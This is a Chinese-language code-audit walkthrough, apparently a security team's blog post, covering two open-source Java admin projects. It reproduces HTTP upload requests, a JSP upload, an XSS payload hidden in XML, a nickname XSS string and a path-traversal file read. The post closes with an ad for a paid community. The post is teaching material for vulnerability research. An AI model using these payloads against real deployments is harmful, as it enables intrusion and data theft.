初入代码审计的师傅,苦于寻找开源的项目练练手,这里就结合Github上的开源项目进行简单审计,方便师傅们跟随步骤学习思路。开源挖洞思路仅供参考,不得使用漏洞于非法用途。
注:现在加入Freebuf知识帮会,可参与漏洞盒子内部的漏洞情报活动,文末扫码加入帮会~
奖励长期存在且丰厚,不要错过噢
kvf-admin代码审计
挑选Java语言开发的开源Github项目来代码审计,第一个是kvf-admin
项目地址:https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file
Java后端启动后台之后的登录页面如下:
任意文件上传
登录后台,在资本资料 - 用户头像处可以上传人员文件,此处没有限制格式和内容
对应的调用的方法为fileUpload
上传没有过滤文件后缀和内容
直接上传获取路径,数据包如下:
POST /common/fileUpload HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Length: 703477
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHpqxuxq5RM32xO3V
Cookie: JSESSIONID=2648996e-59d9-4a81-8562-66e136334abb; rememberMe=WwDVuhLMSgLXB47hXFmIsDUCi1wLlcoWt/8lZNdHJH1vKAYEENnN+WmKi5KzrCu2a2QvAbrQD0ZK4QOLa2CidYfaF27zuDvbWfUdRtzJiOys7fG5wv31Crnp5hk8mxaLjEL9gffgnFO6est/iK/4FcMl4+/0hgqPwAwZRz9J+m/noyNGmcMkDDO9yAPXFluiHTib92i1qHU2liZ+YT2uYkVdT0/moBEroItpIyeqNpoes0wNhZ9OIkdwCCNoHlPWo1QZvCglh5XlGF0iI7jsnDXZAUEcPzVyHh3cryzKcVGK4/VV/v2ozpO4U8V77w1FT3Ad08EDTa/fR6EcC4tWTA1vRlzhkVSBW7NUqR/3hlzPaaHiYO/jPQSNwB4aPHGz8L8HimuUhKgzd+U63Q9ItRAjiNLMummYtKruiopOd77GNxsVWMsZIbvpeNwN8ML8rRAEEjV4QdR0HQODio/ov0UW4lHIUya6gvB2V2/ZtfZaOjtP5qewmGgqFfbGmnEEuw5dZbvz9/el10I1UTw4O7g2HCOCFE/XLE6R5DCx2TQ5zap5jJnKDtB4Y6Vt0JOqx33kukcYcaYIrSQm9XDFBsOG1lhMFkNTa+UDoiqb3lzX3e4Xli2jEg890vmawZNkDBuf5fxOH9LR0NiV7uhMol4pCmZrs9KcPRnvT7UuJxb8vJ3Q3+RlSnWLIEkfuvYhf5Y0STO/D7AAxM1rHQxYr2gdW3KvU85dPzFA6KEdeMT2ZZjXpxWRleySBGDp8EBfoBdrYT7dkI1XVF9qAqu2EXA/J2y2LTkZiNaysVge3VAeyvaijsFjKREQ+Edz9z6GeXlevfkqJ4Aur7ifOeor/vKvU4vTQxy+hMJDSoHPbwazBFyyXdjGpypc0lJm+3Va8zNI+wRu43KS7lTTup4WO+K+7+P0ZVSvY7zwLzUQsQZ7MPYFqpkKhn13SqwFTFull6QCGpBnT87PlTrUtRTY2bGWmsZiyhpGbOsSfveMh9SCeUEEs5ZPcwzCZHJL85/8tWvUnT7OXcZj9vw+rp/Ks6ArbzzfsJIo34FqYRTM6fxT5Y5bQPdw5d50L9Y2x1xMH9U8caSMYv06ZbuaYXGDkkVE3K2ecrK8FZMrYAt3fF1fAzIEhhv53FjJAcPviW+nXtHSv4aojAQh8b0jaLocmQCbRgEmxOQf6aqgxnNpLua5Cj9TthYdlfU/dmZWxrzsrGxaTcEksY2MK/sj9GVmYae0yRJxGSSniyLOKqo3qadGwfPbAgVw8DsWaAKD1VaBvROXG68t6+wacBa1ge3kGrLRRXVM3IggECOdWl1EfY8wklQsdktY+CbFsAnnKlby7+ac9D8QnXx9LCyJZR40kviAdRTjyy9gB8IcLTwYgp5Ro7eP8LLRU/QRIfguRs3J/B60DfHI7gzrf8NDWKaKnmpXjo2zR8JhyFt+8e7z5ySTEhpocr/ZWLHzPA/yULIbjnIweF2W68X43A6uAMTz4zK0wW8Ls7izZ34yz8wB1cQG6dT/uug82zcIQZ6Ux90f6QteQ9tYsCmNQvHnvKJq9GDO5p/hzT05RK8=
Host: 127.0.0.1:89
Origin: http://127.0.0.1:89
Referer: http://127.0.0.1:89/sys/user/info
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryHpqxuxq5RM32xO3V
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: image/jpeg
test123
------WebKitFormBoundaryHpqxuxq5RM32xO3V
Content-Disposition: form-data; name="type"
avatar
------WebKitFormBoundaryHpqxuxq5RM32xO3V--
上传成功后返回路径,然后根据读取文件访问的方法请求对应路径
请求访问/common/static/avatar/20240319/test.jsp,验证上传成功
存储型xss
此处Java版Ueditor文件可以上传xml文件,造成的XSS漏洞
文件上传方法对应如下
查看Ueditor配置文件config.json配置文件,xml后缀格式未被禁用,可以上传xss页面
调用对应的uploadfile方法,上传数据包如下:
POST /ueditor/upload?configPath=ueditor/config.json&action=uploadfile HTTP/1.1
Host: 192.168.8.28:89
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=707bfffa-49cc-49ff-acd0-8dd285701b07; rememberMe=voFiAKGY4BjwzQlWUvQRuxYPzFLdbUyJnX6u0evTdkxG8FjTc97O7yMZkB8UVL5335fUkKu0yiX6cPevGZ5578ClchkJrILtVy6k9IwLYQVlJ9v0a+2ysULMIZgvbKb/IU5AxC26iN+wcPd0KDWNdiXfItrNSFbANbHe39Uw9ldqwyp7gmSwjy9uFB8NCioDhBIUtCvqDZ4IfJp9aXsTgvJJTw45Yg/CCNbr4PI8iyqmW1BLKX8nqZOzXiNk0MfvhC3NikwLJ4Iz6Hgmx5BPhqOgxQosK5p5FmZYnGXf7kjJ3Rjmm2pzJSt35Plucv2CB9phiCO71vqyLt38mUF4l4hbAuVwvqN5AuO3raOA9y1An3p1SAraoNwYXQ/QRgWsTCOCF71In5xmWRB0ulEr98v3q8wzbPEzsIcDgdBlxMR0X2XMbr7Y2aCIR8pkGGyAENl9yXYA3VW157EyDGA1exY1kRUqZI4ndSpW1jlqWssHjKM2FvPtnRiTXBpJEj5RkSUTSxCyrv4zujObG4IWOT5L0EfRZbTcDe4jvtvzwN5Kx3eTJVjK09vMs5m8WNwdpLRkX32MH0rQcOPLvDAkXwVX/MFvQcU0TrMYnW7T08Ot4lmhRy/iU9dv4bX4Q6Oxpsurp1mRcuJ4N7u5zw6OBZZEyRe5bk8tKFigCvbWE0rw5WQl/0eS+YylyUz9FLf1uYGWbh1k74PXglVFQ3fP1z9EkB1Ib4BCkGzUIkliVcbSebmkZwZItH0YW29/4BmtVHGllUxsSo64oUp9ZNe7G5Ex4ckPOMkh/tiq2+5j9wksOpsf+V+G8RMu1kbUfzFx+4cSY0zJN9f1yEYHCLN7E8u51MZ/OPG/mtWqcPHuIGgCLlJD9Ih3kGGMPTinkGEDkHJmHZfFGohQaEzc0Q3jYi1s+Eoxq+geWE70TQRrEFv41ukogBfV9x6ThvkSrihe4GA/0hw1pP8+58TVB56q2DOLNh1viGqpbO2ppi3Tx7wR8niwQ5Ty1VGcNtU2ecOwFrTIQge0ELMC4JZ65sdsAla2n+tv0SZjQfoysjPQoLwK4AsQQ5VmSpY46h6pTJ5zbETEtQMd+70xOE4ntem5xWfUaJzGV90zzx5I+YklqSTjsnSUC2Ezg51P6qFK2B0IyjJ0+Tqb92LcnHVmCM8ChOynVhmRnlflheEZRjMpLigCKcizx2tA4PnLEH9zf5rpZtu7QAvE5IdtmQERfEjpaWGNnRySf1bmD06h0XsV8oSRSlKqMVNm35Qe/yM7br4NXdC44kfZm4+z+3+7nacfq0ugyhWM1b2gX3FKHkxTwDEfyQdGp9NHorvSjcMvA8RW3ApckFZycfm2JnArlyw95Eq42uoZqdcB/LqlRNinjljjqZM99S511T/bZWpvFD+bSXp5xznDDJOyOkhPSUAV63jnlRn8atl2xQq2soMyPeI2HevgvO2RpRjtCTnx0l1wKE9ZERr5YGMoPLgDuou76y9xN1b0LDdshPTdUoPu694JRwDOoeoqmIDCIuQfJa89hulN2mDOeoYB347ZmO+Eh1KFDYlP1ytBnibb
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Upgrade-Insecure-Requests: 1
Origin: http://192.168.8.28:89
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhRtIv7Zw4UrVozpE
Content-Length: 2061352
------WebKitFormBoundaryhRtIv7Zw4UrVozpE
Content-Disposition: form-data; name="upfile"; filename="test.xml"
Content-Type: image/jpeg
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml"> alert(1);
</something:script>
</body>
</html>
------WebKitFormBoundaryhRtIv7Zw4UrVozpE--
上传带有xss语句的xml文件
读取恶意文件成功上传
Mee-admin v1.6审计
第二个项目名称为mee-admin,也是Java开发的后端
项目地址:https://github.com/funnyzpc/mee-admin
审计版本v1.6:https://github.com/funnyzpc/mee-admin/releases/tag/1.6
启动配置一下,这里我指定使用application-mysql.propertities配置文件
改下文件目录到C盘
存储型XSS
登录页面如下
使用admin/admin登录进入系统
点击用户名处,进入用户中心处。在用户昵称处输入恶意xss代码闭合
输入如下内容
超级管理员</a><a><img src=1 onerror=alert(/xss/)>
点击更新,然后重新登录下
进来会发现恶意xss语句被渲染进网页里面
任意文件读取
在系统管理的文件管理中,文件保存路径为下载路径,点击后会调用下载方法
漏洞代码在CommonFileController.java里面
download方法做了目录穿越的检测,但是没有结束return
只是防止浏览器显示,但是防不了数据包中的任意文件读取
造成任意文件读取漏洞,例如读取C:Windowswin.ini文件
Freebuf知识大陆帮会
0x01 社区简介
社区中包含有主要讲解系统化从基础入门到实战漏洞挖掘的教程,其中包含团队自整的挖掘注意点和案例。其中还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。
●笔记主要根据漏洞原理,结合实战的漏洞案例,分析漏洞的挖掘方法和漏洞成因。
历史笔记部分一览
0x02 独有服务
1. 各类内部网络安全攻防、CTF比赛信息、挖洞工具、靶场资源;
2. 专题更新漏洞挖掘中的小Tips及实战案例
3. 攻防思维导图,0基础开启网络安全学习之路;
4. 遇到任何技术题都快速提问与讨论交流的思路;
5. 内部CTF大佬、海外SRC漏洞挖掘大佬、群主群内在线解答;
6. 组织队伍参与各类SRC挖掘活动;
0x03 团队交流群
0x04 帮会技术保证
帮主:chobits02
●「安全渗透感知大家族」的帮主
●安全团队Code4th建立人
●资深安全专家,2年网安经验,1.5年后端开发经验
●拥有丰富的SRC挖掘、应急响应、安全运营、网络攻防等方面经验
0x05 加入方式
FreeBuf知识大陆2周年庆啦
现 在 49.9 元 享 永 久 会 员!
优惠机会难得,扫二维码加入吧
⬇️
原文始发于微信公众号(Code4th安全团队):代码审计指南 - Github开源Java项目
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论